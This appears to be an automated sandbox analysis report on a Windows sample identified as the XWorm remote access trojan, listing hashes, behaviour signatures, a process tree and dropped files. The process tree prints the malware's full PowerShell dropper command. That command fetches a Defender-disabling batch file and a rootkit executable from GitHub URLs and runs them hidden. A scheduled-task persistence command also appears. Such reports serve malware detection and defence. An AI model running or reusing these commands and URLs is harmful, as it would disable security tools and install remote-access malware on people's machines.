Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/03/2025, 11:09

General

  • Target

    xxrkjufx.exe

  • Size

    158KB

  • MD5

    c3e0163f33f6f98ecc65bf60b9022561

  • SHA1

    de888c64e6662b2534d473932f04621b14b151d9

  • SHA256

    148ce380f43064c984912052dddb24ebce738607fcd942264133b849f9c024ec

  • SHA512

    c4875a56bec414de6277aaa0828778ef920aab8305af8e256a59c997824ce4aff016392ce16a493fa778b0a3e09206701d2b31b4f78c39ab45027f9eee418547

  • SSDEEP

    3072:LfFz74sSFhbKHj/3bOHNOOOOOOOHOOOOOOO/OOOOOOOk:LNAsyhbZOOOOOOOHOOOOOOO/OOOOOOO

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • install_file

    MasonUSB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 62 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1016
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{4455552b-2275-4ae1-bc5b-c0f558306e80}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5604
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
        PID:668
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:948
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:508
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:988
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
              1⤵
              • Indicator Removal: Clear Windows Event Logs
              PID:1092
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
              1⤵
              • Drops file in System32 directory
              PID:1136
              • C:\Windows\system32\taskhostw.exe
                taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                2⤵
                  PID:3060
                • C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
                  C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
                  2⤵
                  • Executes dropped EXE
                  PID:4616
                • C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
                  C:\Users\Admin\AppData\Roaming\xxrkjufx.exe
                  2⤵
                  • Executes dropped EXE
                  PID:5776
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1172
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1180
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1260
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1268
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1352
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                          1⤵
                            PID:1384
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1444
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2652
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1568
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                  1⤵
                                    PID:1584
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1596
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1712
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1752
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1776
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1840
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                              1⤵
                                                PID:1884
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1896
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:1968
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1984
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:1556
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2092
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                          1⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2240
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2312
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2380
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2404
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                1⤵
                                                                • Drops file in System32 directory
                                                                PID:2608
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                1⤵
                                                                • Enumerates connected drives
                                                                PID:2620
                                                              • C:\Windows\sysmon.exe
                                                                C:\Windows\sysmon.exe
                                                                1⤵
                                                                  PID:2700
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                  1⤵
                                                                    PID:2720
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                    1⤵
                                                                      PID:2732
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2864
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:3068
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                          1⤵
                                                                            PID:1000
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                            1⤵
                                                                              PID:3384
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                              • Suspicious use of UnmapMainImage
                                                                              PID:3484
                                                                              • C:\Users\Admin\AppData\Local\Temp\xxrkjufx.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\xxrkjufx.exe"
                                                                                2⤵
                                                                                • Checks computer location settings
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:5320
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Downloads MZ/PE file
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:324
                                                                                  • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                    4⤵
                                                                                    • Checks computer location settings
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4540
                                                                                    • C:\ProgramData\MasonRootkit.exe
                                                                                      "C:\ProgramData\MasonRootkit.exe"
                                                                                      5⤵
                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetThreadContext
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2684
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp949F.tmp.bat""
                                                                                      5⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:5300
                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                        6⤵
                                                                                          PID:1372
                                                                                        • C:\Windows\system32\timeout.exe
                                                                                          timeout 3
                                                                                          6⤵
                                                                                          • Delays execution with timeout.exe
                                                                                          PID:2792
                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "xxrkjufx" /tr "C:\Users\Admin\AppData\Roaming\xxrkjufx.exe"
                                                                                    3⤵
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:4708
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3632
                                                                                • C:\Windows\system32\DllHost.exe
                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                  1⤵
                                                                                    PID:3800
                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                    1⤵
                                                                                      PID:4024
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:4148
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                        1⤵
                                                                                          PID:464
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:5192
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                            1⤵
                                                                                              PID:4496
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                              1⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              PID:5468
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                              1⤵
                                                                                                PID:5100
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                1⤵
                                                                                                  PID:4904
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                  1⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:1456
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:1808
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:396
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:5708
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:3572
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:2676
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:5248
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                            • Modifies registry class
                                                                                                            PID:5504
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                            1⤵
                                                                                                              PID:4788
                                                                                                            • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                              C:\Windows\System32\WaaSMedicAgent.exe 7962c17d1c00b0fb7dc75e5cf00a1a92 GBT7rdaqhEqo/DQWv8yMnA.0.1.0.0.0
                                                                                                              1⤵
                                                                                                              • Sets service image path in registry
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:2872
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                2⤵
                                                                                                                  PID:1680
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                1⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:5552
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Writes to the Master Boot Record (MBR)
                                                                                                                • Checks SCSI registry key(s)
                                                                                                                • Enumerates system info in registry
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:2664
                                                                                                              • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                1⤵
                                                                                                                  PID:3696
                                                                                                                • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                  1⤵
                                                                                                                  • Drops file in Windows directory
                                                                                                                  PID:6072
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                  1⤵
                                                                                                                    PID:5748
                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    PID:4856
                                                                                                                  • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                    1⤵
                                                                                                                      PID:5980
                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                      • Drops file in Windows directory
                                                                                                                      PID:5144

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Replay Monitor

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                                                                                                                    Downloads

                                                                                                                    • C:\ProgramData\MasonRootkit.exe

                                                                                                                      Filesize

                                                                                                                      596KB

                                                                                                                      MD5

                                                                                                                      bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                      SHA1

                                                                                                                      1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                      SHA256

                                                                                                                      8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                      SHA512

                                                                                                                      2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      3982d6d16fd43ae609fd495bb33433a2

                                                                                                                      SHA1

                                                                                                                      6c33cd681fdfd9a844a3128602455a768e348765

                                                                                                                      SHA256

                                                                                                                      9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

                                                                                                                      SHA512

                                                                                                                      4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xxrkjufx.exe.log

                                                                                                                      Filesize

                                                                                                                      654B

                                                                                                                      MD5

                                                                                                                      2ff39f6c7249774be85fd60a8f9a245e

                                                                                                                      SHA1

                                                                                                                      684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                                      SHA256

                                                                                                                      e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                                      SHA512

                                                                                                                      1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe

                                                                                                                      Filesize

                                                                                                                      612KB

                                                                                                                      MD5

                                                                                                                      5e1eb1a67d40ccae40dee2a037ca6c64

                                                                                                                      SHA1

                                                                                                                      786b54d3d451ea40faeeb20fd30a38744862eeb5

                                                                                                                      SHA256

                                                                                                                      80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

                                                                                                                      SHA512

                                                                                                                      0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c2nwd5tc.dpk.ps1

                                                                                                                      Filesize

                                                                                                                      60B

                                                                                                                      MD5

                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                      SHA1

                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                      SHA256

                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                      SHA512

                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\tmp949F.tmp.bat

                                                                                                                      Filesize

                                                                                                                      164B

                                                                                                                      MD5

                                                                                                                      9ed8237d6b06d2f312a6f28a8ff4dd02

                                                                                                                      SHA1

                                                                                                                      463eadeb37193271fe63a9eedebf0e2385e2b985

                                                                                                                      SHA256

                                                                                                                      d2d5c1f91a386a4785a74d14eef3a4e95f081093d5b4983c4c9a0de41f3651f0

                                                                                                                      SHA512

                                                                                                                      9ceb002d31dccf22d5ff3aa8d7283feb70f30cdb7336147c1a243575b1c49cd895c48c9e6776af5ad5449700f399324e29a173fb39355508f5f99f4cd4fd4b37

                                                                                                                    • C:\Users\Admin\AppData\Roaming\xxrkjufx.exe

                                                                                                                      Filesize

                                                                                                                      158KB

                                                                                                                      MD5

                                                                                                                      c3e0163f33f6f98ecc65bf60b9022561

                                                                                                                      SHA1

                                                                                                                      de888c64e6662b2534d473932f04621b14b151d9

                                                                                                                      SHA256

                                                                                                                      148ce380f43064c984912052dddb24ebce738607fcd942264133b849f9c024ec

                                                                                                                      SHA512

                                                                                                                      c4875a56bec414de6277aaa0828778ef920aab8305af8e256a59c997824ce4aff016392ce16a493fa778b0a3e09206701d2b31b4f78c39ab45027f9eee418547

                                                                                                                    • C:\Windows\Logs\CBS\CBS.log

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      5ac3a419504a4e046000fbde77cc302f

                                                                                                                      SHA1

                                                                                                                      c30f1e8f890438d429fe7822a59ad405a7f887bb

                                                                                                                      SHA256

                                                                                                                      3e50d94d2dbc735c02efe72394f1c415448b24f3b050ae709ac94063d93b8834

                                                                                                                      SHA512

                                                                                                                      153301f6dda68d86273964e7dab0406a3d07e1efd934515cfc3be49242856460c814979f72e7fa289e3171c879b7b624368e03be74cd3dccf9179d1688d1646a

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                      SHA1

                                                                                                                      98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                      SHA256

                                                                                                                      ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                      SHA512

                                                                                                                      c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      f313c5b4f95605026428425586317353

                                                                                                                      SHA1

                                                                                                                      06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                      SHA256

                                                                                                                      129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                      SHA512

                                                                                                                      b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                      SHA1

                                                                                                                      a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                      SHA256

                                                                                                                      98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                      SHA512

                                                                                                                      1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                      SHA1

                                                                                                                      63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                      SHA256

                                                                                                                      727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                      SHA512

                                                                                                                      f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      0b990e24f1e839462c0ac35fef1d119e

                                                                                                                      SHA1

                                                                                                                      9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                      SHA256

                                                                                                                      a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                      SHA512

                                                                                                                      c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                    • memory/324-12-0x00007FF8D8CB0000-0x00007FF8D9771000-memory.dmp

                                                                                                                      Filesize

